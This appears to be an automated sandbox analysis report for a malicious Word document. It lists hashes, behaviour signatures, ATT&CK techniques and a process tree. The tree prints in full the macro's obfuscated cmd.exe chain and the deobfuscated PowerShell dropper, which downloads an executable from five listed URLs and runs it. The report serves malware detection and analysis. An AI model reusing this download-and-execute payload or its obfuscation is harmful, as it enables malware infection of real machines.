1f8b157a1ffc5053b9aff97ef49879b777f81f0a5ace7c481eefe9bdceb3cd18

General

Target

24bb76ad6a9367820337836451600353_JaffaCakes118.doc
Size

222KB
MD5

24bb76ad6a9367820337836451600353
SHA1

a70c576c9f1360a7f90fb1ba34f9793803952601
SHA256

1f8b157a1ffc5053b9aff97ef49879b777f81f0a5ace7c481eefe9bdceb3cd18
SHA512

827da66c5b3789c0a9365bcb1748483352a86b0cd9f8ddce4ab75091c957f59b0244fdf84f6436f946bd37d5a44a0c06d1f3cd28aa4b0c06b623c871fe0fd295
SSDEEP

3072:ZtUxagq58ghpPyjL/xSu90OoiLuDKZXfwKeljR1C:ZtUxagqOgvPAxUOmD+XfwLu

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mail.saglikpersoneli.net/sohft/PTYGsf41Witt_k

exe.dropper

http://www.vario-reducer.com/wp-content/bGkoUUavZySGn

exe.dropper

http://kadinveyasam.org/wp-content/languages/EZ22B35GBTu9z_N

exe.dropper

http://mingroups.vn/NYV82LSYWEs_s1

exe.dropper

http://www.ontamada.ru/RDUstD0DxgOP

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1884	3540	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

33 1732 powershell.exe
34 1732 powershell.exe

flow	pid	process
33	1732	powershell.exe
34	1732	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3540 WINWORD.EXE
3540 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1732 powershell.exe
1732 powershell.exe
1732 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1732 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE

pid	process
3540	WINWORD.EXE
3540	WINWORD.EXE

pid	process
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1732	powershell.exe

pid	process
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WINWORD.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 3540 wrote to memory of 1884	3540	WINWORD.EXE	cmd.exe
PID 3540 wrote to memory of 1884	3540	WINWORD.EXE	cmd.exe
PID 1884 wrote to memory of 4560	1884	cmd.exe	cmd.exe
PID 1884 wrote to memory of 4560	1884	cmd.exe	cmd.exe
PID 4560 wrote to memory of 1864	4560	cmd.exe	cmd.exe
PID 4560 wrote to memory of 1864	4560	cmd.exe	cmd.exe
PID 4560 wrote to memory of 3476	4560	cmd.exe	cmd.exe
PID 4560 wrote to memory of 3476	4560	cmd.exe	cmd.exe
PID 3476 wrote to memory of 1732	3476	cmd.exe	powershell.exe
PID 3476 wrote to memory of 1732	3476	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\24bb76ad6a9367820337836451600353_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3540

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set 7uKh=;'jwjzmmf'=sqtkjfj$}}{hctac}};kaerb;'clpozi'=zvcsjjd$;tcksr$ metI-ekovnI{ )00004 eg- htgnel.)tcksr$ metI-teG(( fI;'wazpp'=bapziuv$;)tcksr$ ,ddzqnoc$(eliFdaolnwoD.hljvjdk${yrt{)fflkm$ ni ddzqnoc$(hcaerof;'exe.'+liudzw$+'\'+pmet:vne$=tcksr$;'pjzljtj'=clvstjq$;'07' = liudzw$;'imvll'=trowz$;)'@'(tilpS.'POgxD0DtsUDR/ur.adamatno.www//:ptth@1s_sEWYSL28VYN/nv.spuorgnim//:ptth@N_z9uTBG53B22ZE/segaugnal/tnetnoc-pw/gro.masayevnidak//:ptth@nGSyZvaUUokGb/tnetnoc-pw/moc.recuder-oirav.www//:ptth@k_ttiW14fsGYTP/tfhos/ten.ilenosrepkilgas.liam//:ptth'=fflkm$;tneilCbeW.teN tcejbo-wen=hljvjdk$;'lzquq'=ikkbrdw$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %h in (648,-1,0)do set 3ue=!3ue!!7uKh:~%h,1!&&if %h==0 echo !3ue:~-649!| %TMP:~-8,-7%%CommonProgramFiles:~19,1%%LOCALAPPDATA:~-10,-9% "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\system32\cmd.exe
CmD /V:ON/C"set 7uKh=;'jwjzmmf'=sqtkjfj$}}{hctac}};kaerb;'clpozi'=zvcsjjd$;tcksr$ metI-ekovnI{ )00004 eg- htgnel.)tcksr$ metI-teG(( fI;'wazpp'=bapziuv$;)tcksr$ ,ddzqnoc$(eliFdaolnwoD.hljvjdk${yrt{)fflkm$ ni ddzqnoc$(hcaerof;'exe.'+liudzw$+'\'+pmet:vne$=tcksr$;'pjzljtj'=clvstjq$;'07' = liudzw$;'imvll'=trowz$;)'@'(tilpS.'POgxD0DtsUDR/ur.adamatno.www//:ptth@1s_sEWYSL28VYN/nv.spuorgnim//:ptth@N_z9uTBG53B22ZE/segaugnal/tnetnoc-pw/gro.masayevnidak//:ptth@nGSyZvaUUokGb/tnetnoc-pw/moc.recuder-oirav.www//:ptth@k_ttiW14fsGYTP/tfhos/ten.ilenosrepkilgas.liam//:ptth'=fflkm$;tneilCbeW.teN tcejbo-wen=hljvjdk$;'lzquq'=ikkbrdw$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %h in (648,-1,0)do set 3ue=!3ue!!7uKh:~%h,1!&&if %h==0 echo !3ue:~-649!| cmD "
3⤵
- Suspicious use of WriteProcessMemory
PID:4560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $wdrbkki='quqzl';$kdjvjlh=new-object Net.WebClient;$mklff='http://mail.saglikpersoneli.net/sohft/PTYGsf41Witt_k@http://www.vario-reducer.com/wp-content/bGkoUUavZySGn@http://kadinveyasam.org/wp-content/languages/EZ22B35GBTu9z_N@http://mingroups.vn/NYV82LSYWEs_s1@http://www.ontamada.ru/RDUstD0DxgOP'.Split('@');$zwort='llvmi';$wzduil = '70';$qjtsvlc='jtjlzjp';$rskct=$env:temp+'\'+$wzduil+'.exe';foreach($conqzdd in $mklff){try{$kdjvjlh.DownloadFile($conqzdd, $rskct);$vuizpab='ppzaw';If ((Get-Item $rskct).length -ge 40000) {Invoke-Item $rskct;$djjscvz='izoplc';break;}}catch{}}$jfjktqs='fmmzjwj';"
4⤵
PID:1864

C:\Windows\system32\cmd.exe
cmD
4⤵
- Suspicious use of WriteProcessMemory
PID:3476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $wdrbkki='quqzl';$kdjvjlh=new-object Net.WebClient;$mklff='http://mail.saglikpersoneli.net/sohft/PTYGsf41Witt_k@http://www.vario-reducer.com/wp-content/bGkoUUavZySGn@http://kadinveyasam.org/wp-content/languages/EZ22B35GBTu9z_N@http://mingroups.vn/NYV82LSYWEs_s1@http://www.ontamada.ru/RDUstD0DxgOP'.Split('@');$zwort='llvmi';$wzduil = '70';$qjtsvlc='jtjlzjp';$rskct=$env:temp+'\'+$wzduil+'.exe';foreach($conqzdd in $mklff){try{$kdjvjlh.DownloadFile($conqzdd, $rskct);$vuizpab='ppzaw';If ((Get-Item $rskct).length -ge 40000) {Invoke-Item $rskct;$djjscvz='izoplc';break;}}catch{}}$jfjktqs='fmmzjwj';
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD840D.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n5qn4hbv.zik.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1732-45-0x0000014B1F460000-0x0000014B1F482000-memory.dmp

Filesize
136KB

Download
memory/3540-29-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-8-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-30-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-9-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-38-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-7-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-6-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-11-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-13-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-12-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-10-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-39-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-15-0x00007FF8C4C40000-0x00007FF8C4C50000-memory.dmp

Filesize
64KB

Download
memory/3540-0-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-5-0x00007FF906D0D000-0x00007FF906D0E000-memory.dmp

Filesize
4KB

Download
memory/3540-4-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-14-0x00007FF8C4C40000-0x00007FF8C4C50000-memory.dmp

Filesize
64KB

Download
memory/3540-1-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-3-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-57-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-2-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-517-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-536-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-537-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download
memory/3540-561-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-562-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-560-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-563-0x00007FF8C6CF0000-0x00007FF8C6D00000-memory.dmp

Filesize
64KB

Download
memory/3540-564-0x00007FF906C70000-0x00007FF906E65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads